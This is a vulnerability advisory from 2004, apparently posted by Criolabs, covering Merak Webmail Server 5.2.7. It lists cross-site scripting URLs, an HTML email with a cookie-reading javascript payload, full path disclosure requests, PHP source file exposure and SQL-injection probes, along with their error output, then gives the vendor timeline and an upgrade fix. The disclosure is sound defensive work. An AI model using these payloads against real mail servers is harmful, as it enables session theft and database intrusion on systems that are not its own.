Vulnerabilities in Merak Webmail Server.
****************************************************************************************************
CRIOLABS
http://www.criolabs.net
- Software: Merak Webmail Server
- Type: Webmail
- Company: Merak Mail Server, Inc.
****************************************************************************************************
## Software ##
Software: Merak Webmail Server
Version: 5.2.7
Plataforms: All Windows platforms
Web: http://www.merakmailserver.com/
## Vendor Description ##
Merak's WebMail Server is used by thousands of companies around the world to
provide secure (ssl) anytime-anywhere access to home, office or ISP email via a
browser or WAP-enabled device.
In less than 10 minutes you can have the same professional email server that
organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S.
Government, and many ISP Providers and Developers depend on every day.
## Vulnerabilities ##
Cross-Site Scripting, Full path disclosure, Exposure of PHP files,
SQL-Injection.
## Cross-Site Scripting ##
There are a lot of Input Validation Holes in this soft. An attacker can perform
an XSS attack and be able to access the target user's cookies.
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=
/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0
/readmail.html?id=[id]&folder=">[XSS]
The next files (attachment.html,calendar.html), can be executed without knowing
user's session ID number.
/attachment.html?attachmentpage_text_error=">[XSS]
/calendar.html?id=1&schedule=admin%40merakdemo.com&cv=n&folder=<script>alert()</script>
/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=">[XSS]
/calendar.html?id=[id]&cv=">[XSS]&ct=[ct]&sf=addevent&ESdhour=8
Also it is possible to inject a XSS in the message directly, example:
Open your mail and write a new message like this :
#Image 1.jpg
<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline
border=0><IFRAME src="http://www.google.com";></body> </html> </IFRAME>
Then click on the HTML message checkbox (in order to send it in HTML format) -
#Image 2.jpg and 3.jpg
The XSS will be executed on your browser. If you send the message, the XSS also
will be executed when the victim read the mail.
#Image 4.jpg
Conclusion: If you send a Content-Type: text/html message with an XSS attack,
always will be executed when the victim reads the message.
Also you can send the XSS in the Subject. This XSS is executed when the victim
reply to this is in HTML format.
## Full path disclosure ##
Some variables of adress.html can cause that a remote user may be able to
determine the installation path.
#Example:
/mail/address.html?id=[id]&sort=criolabs&selectsort=criolabs&global=criolabs&showlite=criolabs&category=criolabs&cserver=&ext=
#Error Example:
Warning: reset(): Passed variable is not an array or object in C:\Archivos de
programa\Merak\html\mail\address.html on line 565
Warning: Variable passed to each() is not an array or object in C:\Archivos de
programa\Merak\html\mail\address.html on line 566
Warning: reset(): Passed variable is not an array or object in C:\Archivos de
programa\Merak\html\mail\inc\function.address.php on line 100
Warning: Variable passed to each() is not an array or object in C:\Archivos de
programa\Merak\html\mail\inc\function.address.php on line 101
#Example:
/calendar.html?id=6213dcc45fdbccc9af207d32722b93a7&cv=%22criolabs&ct='criolabs&sf='criolabs
#Error Example:
You can see this in the webmail logs:
Warning: mktime(): Windows does not support negative values for this function
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 413
Warning: date(): Windows does not support dates prior to midnight (00:00:00),
January 1, 1970 in C:\Archivos de
programa\Merak\html\mail\inc\function.calendar.php on line 413
Warning: mktime(): Windows does not support negative values for this function
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 417
Warning: mktime(): Windows does not support negative values for this function
in C:\Archivos de programa\Merak\html\mail\inc\function.calendar.php on line 420
Warning: date(): Windows does not support dates prior to midnight (00:00:00),
January 1, 1970 in C:\Archivos de
programa\Merak\html\mail\inc\function.calendar.php on line 420
Warning: date(): Windows does not support dates prior to midnight (00:00:00),
January 1, 1970 in C:\Archivos de
programa\Merak\html\mail\inc\function.calendar.php on line 350
## Exposure of PHP files ##
The server allows that remote users can download all the files with .php
extension from the server.
#Example:
http://localhost:32000/mail/inc/function.php
http://localhost:32000/mail/inc/function.view.php
## SQL-Injection ##
There are Sql-Injection problems in calendar, a remote user may be able to
inject SQL commands.
/calendar.html?id=1'&schedule=[SQL]
You can see in the logs :
DB Calendaring Error
[Microsoft][Controlador ODBC Microsoft Access]
Error de sintaxis (falta operador) en la expresión de consulta 'OWN_Email =
''[sql]''.
/calendar.html?id=1&schedule=koko%40merakdemo.com&sf=addevent&cv=d&ct=';'&Eid=criolabs'
DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access]
Error de sintaxis en la cadena en la expresión de consulta 'EVN_ID =
'criolabs'''.
DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access]
Error de sintaxis en la cadena en la expresión de consulta 'RMNEVN_ID =
'criolabs'''.
DB Calendaring Error [Microsoft][Controlador ODBC Microsoft Access]
Error de sintaxis en la cadena en la expresión de consulta 'CNTEVN_ID =
'criolabs'''.
-- --
## History ##
Vendor Contacted : Wed, 04 Aug 2004
Thu, 12 Aug 2004 : New Release of Merak Mail Server 7.5.2
## Solution ##
Download the new release.
http://www.MerakMailServer.com/Download/
## Credits ##
Criolabs staff
http://www.criolabs.net
Ariginal advisory and attachments in Criolabs.net